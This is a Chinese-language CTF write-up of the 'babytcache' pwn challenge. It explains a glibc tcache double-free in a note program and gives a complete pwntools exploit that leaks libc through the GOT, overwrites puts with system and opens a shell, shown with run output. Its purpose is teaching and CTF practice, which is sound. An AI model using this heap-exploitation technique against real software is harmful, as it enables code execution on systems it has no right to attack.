babytcache 简单的tcache利用
TOC
- 1. 简介
- 2. 功能介绍
- 2.1. 增加笔记
- 2.2. 删除笔记
- 2.3. 显示笔记
- 3. 漏洞
- 4. 思路
- 4.1. 任意地址写
- 4.2. 泄露基地址
- 4.3. 修改got表
- 4.4. exploit脚本
- 4.5. 最终效果
原程序下载地址:babytcache,IDA分析文件下载地址:babytcache.i64。由于tcache是glibc-2.26以及之后的版本才有的,所以环境的版本至少是2.26或2.26以上,以下的测试结果全在glibc-2.27的环境。
简介
该pwn题主要依赖于对tcache的检查不严密导致的溢出漏洞,因为检查不严,所以我们可以对同一个 chunk 多次 free,造成 cycliced list。
功能介绍
int print_menu() { setbuf(stdout, 0LL); signal(14, handler); alarm(0x3Cu); puts("NoteBook v0.1"); puts("1.add a note"); puts("2.delete a note"); puts("3.show a note"); return puts("4.exit"); }
|
主要是三个功能:增加笔记,删除笔记,显示笔记。
增加笔记
int add_note() { int v1;
if ( global_amount > 9 ) return puts("Full!"); printf("content:"); v1 = global_amount; ptr[v1] = (char *)malloc(80uLL); input((__int64)ptr[global_amount], 80u); ++global_amount; return puts("Done."); }
|
删除笔记
void delete_note() { int v0;
printf("index:"); v0 = get_number(); if ( v0 < global_amount ) free(ptr[v0]); else puts("out of range!"); }
|
显示笔记
int show_note() { int result; int v1;
printf("index:"); v1 = get_number(); if ( v1 < global_amount ) result = puts(ptr[v1]); else result = puts("out of range!"); return result; }
|
程序有一个ptr全局指针,用来存放note的。
漏洞
正如上面的代码所示,我们可以对一个chunk多次free,造成 cycliced list。虽然可以使chunk成链,但是该怎么利用——我们可以进行多次malloc操作,也就是增加笔记的操作,在增加笔记的同时,程序允许我们对chunk进行输入字符,这样我们可以通过覆盖 tcache 中的 next,不需要伪造任何 chunk 结构即可实现 malloc 到任何地址。
下面我用一段代码来演示一遍这个漏洞:
#include <stdio.h> #include <stdlib.h>
int g = 1234;
int main() { int *a = malloc(8); printf("g: 0x%016X\n", &g); printf("a: 0x%016X\n", a); free(a); free(a);
printf("malloc(8): 0x%016X\n", malloc(8)); *(void **)a = &g; printf("malloc(8): 0x%016X\n", malloc(8)); printf("malloc(8): 0x%016X\n", malloc(8)); return 0; }
|
运行结果:
g: 0x000000001680C010 a: 0x0000000017054260 malloc(8): 0x0000000017054260 malloc(8): 0x0000000017054260 malloc(8): 0x000000001680C010
|
从上面的结果可以看到,在第三次malloc的时候,malloc到&g的地址,也就可以控制全局变量g了。
思路
任意地址写
def write_in(addr,content): sh.sendline('2') sh.recvuntil(':') sh.sendline('0') sh.recvuntil('>') sh.sendline('2') sh.recvuntil(':') sh.sendline('0') sh.recvuntil('>') sh.sendline('2') sh.recvuntil(':') sh.sendline('0') sh.recvuntil('>')
sh.sendline('1') sh.recvuntil(':') sh.sendline(addr) sh.recvuntil('>') sh.sendline('1') sh.recvuntil(':') sh.sendline('/bin/sh') sh.recvuntil('>') sh.sendline('1') sh.recvuntil(':') sh.sendline(content) sh.recvuntil('>')
|
如上所示,先申请三次,在释放三次,注意这里是申请三次,不然的话tcache->counts[tc_idx]的值会变成-1,而导致tcache无法再次使用了,第一次申请的时候将要修改的地址传入,第二次申请的时候tcache->entries[tc_idx]会变成第一次传入的地址,这时我们在传入”/bin/sh”(为了方便以后使用),第三次申请的就是第一次传入的地址,而且还可以对地址内存进行修改。
分为两步:泄露基地址,修改got表
泄露基地址
先控制ptr指针,将ptr指针修改为 __libc_start_main.got 的地址,然后使用程序的显示笔记函数即可泄露基地址。
write_in(p64(ptr_addr_offset_8), p64(elf.got['__libc_start_main']))
sh.sendline('3') sh.recvuntil(':') sh.sendline('1') temp = sh.recvuntil('\n')[:-1] temp = temp + b'\x00' * (8 - len(temp)) __libc_start_main_addr = u64(temp) log.success('__libc_start_main_addr: ' + hex(__libc_start_main_addr)) libc_addr = __libc_start_main_addr - libc.symbols['__libc_start_main'] log.success('libc_addr: ' + hex(libc_addr)) system_addr = libc_addr + libc.symbols['system'] log.success('system_addr: ' + hex(system_addr)) sh.recvuntil('>')
|
修改got表
直接用该程序的任意写漏洞即可,将puts的got地址修改为system函数的地址,然后在调用显示笔记这个函数,由于我们前面就把参数”/bin/sh”写入到note中了,所以最后就相当于puts(“/bin/sh”)变成了system(“/bin/sh”)了。
write_in(p64(elf.got['puts']), p64(system_addr))
sh.sendline('3') sh.sendline('0')
|
exploit脚本
from pwn import *
file_path = './babytcache' libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
libc = ELF(libc_path) elf = ELF(file_path)
ptr_addr_offset_8 = 0x6020E0 + 8
sh = process(file_path)
sh.recvuntil('>')
log.info('__libc_start_main.got: ' + hex(elf.got['__libc_start_main']))
def write_in(addr, content): sh.sendline('2') sh.recvuntil(':') sh.sendline('0') sh.recvuntil('>') sh.sendline('2') sh.recvuntil(':') sh.sendline('0') sh.recvuntil('>') sh.sendline('2') sh.recvuntil(':') sh.sendline('0') sh.recvuntil('>')
sh.sendline('1') sh.recvuntil(':') sh.sendline(addr) sh.recvuntil('>') sh.sendline('1') sh.recvuntil(':') sh.sendline('/bin/sh') sh.recvuntil('>') sh.sendline('1') sh.recvuntil(':') sh.sendline(content) sh.recvuntil('>')
sh.sendline('1') sh.recvuntil(':') sh.sendline('nothing') sh.recvuntil('>')
write_in(p64(ptr_addr_offset_8), p64(elf.got['__libc_start_main']))
sh.sendline('3') sh.recvuntil(':') sh.sendline('1') temp = sh.recvuntil('\n')[:-1] temp = temp + b'\x00' * (8 - len(temp)) __libc_start_main_addr = u64(temp) log.success('__libc_start_main_addr: ' + hex(__libc_start_main_addr)) libc_addr = __libc_start_main_addr - libc.symbols['__libc_start_main'] log.success('libc_addr: ' + hex(libc_addr)) system_addr = libc_addr + libc.symbols['system'] log.success('system_addr: ' + hex(system_addr)) sh.recvuntil('>')
write_in(p64(elf.got['puts']), p64(system_addr))
sh.sendline('3') sh.sendline('0')
sh.interactive()
|
最终效果
ex@Ex:~/test$ ./main.py [*] '/lib/x86_64-linux-gnu/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] '/home/ex/test/babytcache' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE [+] Starting local process './babytcache': Done [*] __libc_start_main.got: 0x602058 [+] __libc_start_main_addr: 0x7f361f279ab0 [+] libc_addr: 0x7f361f258000 [+] system_addr: 0x7f361f2a7440 [*] Switching to interactive mode index:$ echo hello world hello world $
|
总结
该程序需要用到tcache poisoning和tcache dup来组合漏洞,通过这个题目可以更深刻的了解tcahce。